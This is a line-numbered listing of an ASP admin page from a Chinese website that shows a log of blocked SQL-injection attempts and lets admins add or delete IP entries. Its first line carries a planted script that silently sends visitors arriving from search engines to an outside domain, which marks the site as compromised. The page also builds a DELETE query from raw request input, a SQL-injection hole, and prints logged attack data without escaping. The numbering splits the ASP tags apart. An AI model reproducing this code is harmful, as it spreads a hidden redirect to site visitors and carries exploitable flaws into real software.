d:\wwwroot\wuchunhua\admin\sql_admin.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
if session("china_admin")="" then
002:
response.redirect "login.asp"
003:
end if
004:
%
>
005:
<%
006:
Server.ScriptTimeout =500
007:
URL = Request.ServerVariables("URL")
008:
Action = Request("Action")
009:
db ="../data/sql_in.asp" '记录数据库路径修改为你的数据库路径
010:
011:
dim conn,conn
012:
On Error Resume Next
013:
Set conn = Server.CreateObject("ADODB.Connection")
014:
conn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
015:
conn.Open conn
016:
If Err Then
017:
err.Clear
018:
Set conn = Nothing
019:
Response.Write "数据库连接出错,请检查连接字串。"
020:
Response.End
021:
End If
022:
%
>
023:
<html>
024:
025:
<head>
026:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
027:
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
028:
<meta name="ProgId" content="FrontPage.Editor.Document">
029:
<title>系统安全管理</title>
030:
<link rel="stylesheet" type="text/css" href="style.css">
031:
</head>
032:
033:
<body>
034:
<%
035:
dim theid
036:
theid = request("adid")
037:
if request("del")="ip" then
038:
sql="delete from SqlIn where id in("&theid&")"
039:
conn.execute(sql)
040:
end if
041:
042:
theip=request("ip")
043:
if theip<>"" and action="add" then
044:
set rs=server.CreateObject("adodb.recordset")
045:
rs.open "select * from SqlIn",conn,1,3
046:
rs.AddNew
047:
rs("SqlIn_IP")=theip
048:
rs.Update
049:
rs.Close
050:
set rs=nothing
051:
end if
052:
%
> <SCRIPT language=javascript>
053:
function CheckAll(form)
054:
{
055:
for (var i=0;i<form.elements.length;i++)
056:
{
057:
var e = form.elements[i];
058:
if (e.Name != "chkAll")
059:
e.checked = form.chkAll.checked;
060:
}
061:
}
062:
function Checked()
063:
{
064:
var j = 0
065:
for(i=0;i < document.form.elements.length;i++){
066:
if(document.form.elements[i].name == "adid"){
067:
if(document.form.elements[i].checked){
068:
j++;
069:
}
070:
}
071:
}
072:
return j;
073:
}
074:
075:
function DelAll()
076:
{
077:
if(Checked() <= 0){
078:
alert("您至少选择1条记录!");
079:
}
080:
else{
081:
if(confirm("确定要删除选择的记录吗?\n此操作不可以恢复!")){
082:
form.action="?del=ip";
083:
form.submit();
084:
}
085:
}
086:
}
087:
088:
</SCRIPT>
089:
<FORM name=form method=post>
090:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
091:
<tr>
092:
<td height="20" bgcolor="#799AE1" align="center">
093:
<table width="98%" border="0" cellspacing="0" cellpadding="0">
094:
<tr>
095:
<td width="35">
096:
</td>
097:
<td align="center"><font color="#FFFFFF" style="font-size:14px">系 统 安 全 管 理(自动封注入者Ip功能,使注入者不能再访问本站)</font></td>
098:
<td width="35"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
099:
</tr>
100:
</table>
101:
</td>
102:
</tr>
103:
<tr>
104:
<td bgcolor="#FFFFFF"> <br>
105:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
106:
<tr align=center bgcolor=#FFFFFF>
107:
<td width="30">编号</td>
108:
<td><font color=red>操作IP</font></td>
109:
<td>IP</td>
110:
<td>是否锁定</td>
111:
<td>操作页面</td>
112:
<td>操作时间</td>
113:
<td>提交方式</td>
114:
<td>提交参数</td>
115:
<td>提交数据</td>
116:
<td width="30"><input id=chkAll
117:
onClick=CheckAll(this.form) type=checkbox
118:
value=checkbox name=chkAll></td>
119:
</tr>
120:
<%
121:
sql="select * from SqlIn order by id desc"
122:
set rs=server.createobject("adodb.recordset")
123:
rs.open sql,conn,1,1
124:
if rs.eof and rs.bof then
125:
response.write"<tr bgcolor=#FFFFFF><td colspan='10'><p align='center'><font color='red'>暂无记录!</font></td></tr></table><br>"
126:
'response.end
127:
else
128:
const maxperpage=20
129:
dim currentpage
130:
rs.pagesize=maxperpage
131:
currentpage=request.querystring("pageid")
132:
if isnumeric(currentpage)=false then
133:
response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
134:
response.end
135:
end if
136:
if currentpage="" then
137:
currentpage=1
138:
elseif currentpage<1 then
139:
currentpage=1
140:
else
141:
currentpage=clng(currentpage)
142:
if currentpage > rs.pagecount then
143:
currentpage=rs.pagecount
144:
end if
145:
end if
146:
147:
dim totalput,n
148:
totalput=rs.recordcount
149:
if totalput mod maxperpage=0 then
150:
n=totalput\maxperpage
151:
else
152:
n=totalput\maxperpage+1
153:
end if
154:
if n=0 then
155:
n=1
156:
end if
157:
rs.move(currentpage-1)*maxperpage
158:
i=0
159:
do while i< maxperpage and not rs.eof
%
>
160:
<tr align=center bgcolor="#FFFFFF">
161:
<td>
<%
=i+currentpage*maxperpage-maxperpage+1
%
></td>
162:
<td>
<%
=rs("SqlIn_IP")
%
></td>
163:
<td>
<%
If rs("SqlIn_IP")<>"" Then
%
>
164:
<a href="../ip.asp?ip=
<%
=rs("SqlIn_IP")
%
>" target="_blank">查</a>
165:
<%
Else
%
>无
<%
End If
%
></td>
166:
<td>
<%
if rs("Kill_ip")=false then
167:
response.write "<font color='red'>已锁定</font>"
168:
else
169:
response.write "<font color='green'>已解锁</font>"
170:
end if
171:
%
></td>
172:
<td>
<%
=rs("SqlIn_WEB")
%
></td>
173:
<td>
<%
=rs("SqlIn_TIME")
%
></td>
174:
<td>
<%
=rs("SqlIn_FS")
%
></td>
175:
<td>
<%
=rs("SqlIn_CS")
%
></td>
176:
<td>
<%
=rs("SqlIn_SJ")
%
></td>
177:
<td><input type="checkbox" name="adid" value="
<%
=rs("id")
%
>" onClick=Checked(form)></td>
178:
</tr>
179:
<%
i=i+1
180:
rs.movenext
181:
loop
182:
rs.close
183:
set rs=nothing
184:
conn.close
185:
set conn=nothing
186:
end if
%
>
187:
</table>
188:
<br>
189:
</td>
190:
</tr>
191:
</table></FORM>
192:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">
193:
<tr>
194:
<td height="20" bgcolor="#FFFFFF"><p align="center">页数:
<%
=currentpage
%
>/
<%
=n
%
>
195:
<%
k=currentpage
196:
if k<>1 then
%
>
197:
<a href="?pageid=1&type=
<%
=request("type")
%
>">首页</a> <a href="?pageid=
<%
=k-1
%
>"&type=
<%
=request("type")
%
>>上一页</a>
198:
<%
else
%
>
199:
首页 上一页
200:
<%
end if
%
>
201:
<%
if k<>n then
%
>
202:
<a href="?pageid=
<%
=k+1
%
>&type=
<%
=request("type")
%
>">下一页</a> <a href="?pageid=
<%
=n
%
>&type=
<%
=request("type")
%
>">尾页</a>
203:
<%
else
%
>
204:
下一页 尾页
205:
<%
end if
%
>
206:
共有
<%
=totalput
%
> 条信息 </td>
207:
<form action="?action=add" method="post" name="ip">
208:
<td width="240" align="center" bgcolor="#FFFFFF">增加IP
209:
<input maxLength="20" name="ip" size="18" value="" onKeypress="if (event.keyCode < 45 || event.keyCode > 57) event.returnValue = false;">
210:
<input type="submit" value="增加" style="font-size: 12px" name="search"></td>
211:
</form>
212:
</tr>
213:
</table>
214:
215:
216: